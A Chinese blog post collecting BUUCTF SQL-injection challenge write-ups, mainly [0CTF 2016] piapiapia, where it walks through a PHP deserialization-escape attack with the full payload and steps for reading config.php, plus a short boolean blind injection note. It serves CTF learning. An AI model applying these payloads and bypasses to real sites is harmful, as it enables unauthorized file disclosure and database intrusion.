mysql注入ctf_BUUCTF[归纳]sql注入相关题目

这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境。

[0CTF 2016]piapiapia

我尝试了几种payload,发现有两种情况。

第一种:Invalid user name

第二种:Invalid user name or password

第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。

对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。

先不管,用字典扫一遍扫到源码直接下载下来。

每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password

这一段是class.php的源代码

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

这是一段updata.php的代码:

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。

还有一段数据:

$username = $_SESSION[‘username‘];

if(!preg_match(‘/^\d{11}$/‘, $_POST[‘phone‘]))

die(‘Invalid phone‘);

if(!preg_match(‘/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/‘, $_POST[‘email‘]))

die(‘Invalid email‘);

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)

die(‘Invalid nickname‘);

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。

进行正则表达式的过滤,赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。

查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {

$username = parent::filter($username);

$new_profile = parent::filter($new_profile);

$where = "username = ‘$username‘";

return parent::update($this->table, ‘profile‘, $new_profile, $where);

}

看到了是用了filter,就是我们最开始注意到的:

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:

require_once(‘class.php‘);

if($_SESSION[‘username‘] == null) {

die(‘Login First‘);

}

$username = $_SESSION[‘username‘];

$profile=$user->show_profile($username);

if($profile == null) {

header(‘Location: update.php‘);

}

else {

$profile = unserialize($profile);

$phone = $profile[‘phone‘];

$email = $profile[‘email‘];

$nickname = $profile[‘nickname‘];

$photo = base64_encode(file_get_contents($profile[‘photo‘]));

?>

这里使用到了反序列化逃逸,奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。

在phpstudy上验证一下:

$b = ‘a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}‘;

var_dump(unserialize($b));

?>

output:

array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

//$a = array(‘qsq‘, ‘mx‘, ‘test‘);

//var_dump(serialize($a));

//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"

$b = ‘a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}‘;

var_dump(unserialize($b));

?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。

在这道题中我们的序列化字符可控,长度也是固定的。

flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}

这里有个问题,那就是刚开始九个正则表达式长度的限制:

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)

die(‘Invalid nickname‘);

这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的:

s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"

我们想要之后的序列化成功,我们也需要进行补齐:

所以我们构造的payload应该是这样的:

";}s:5:“photo”;s:10:“config.php”;}

这里多了两个字符变成了34个字符。

搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。

此时我们抓包修改,一切就ok了。

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。

所以具体步骤:

注册账户

登录账户

随意提交一些资料抓包

修改nickname为nickname[],数组绕过长度检测

修改nickname中的内容

图片进行base64解码:

$config[‘hostname‘] = ‘127.0.0.1‘;

$config[‘username‘] = ‘root‘;

$config[‘password‘] = ‘qwertyuiop‘;

$config[‘database‘] = ‘challenges‘;

$flag = ‘flag{370d3e2c-2161-4531-bfeb-e3093b2913f9}‘;

?>

[BJDCTF 2nd]简单注入

这道题先fuzz一下,因为试了一下and什么的被过滤了,所以随便fuzz一下,发现他过滤的有点少,用的方法可以是bool盲注。

但是由于单引号也被过滤了,所以有点难搞,这个时候转义符就有作用了,我们使用转义符进行绕过,姿势就是admin\,这样后端我们我们的username就成为了

username=‘admin \‘ and password=‘

这是hint下的内容,告诉了我们后台的判断语句,其实我们可以猜出来的。

select * from users where username=‘$_POST["username"]‘ and password=‘$_POST["password"]‘;

按照这样我们使用二分法进行bool注入就行,刚开始星耀遍历循环,真是脑子抽了。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值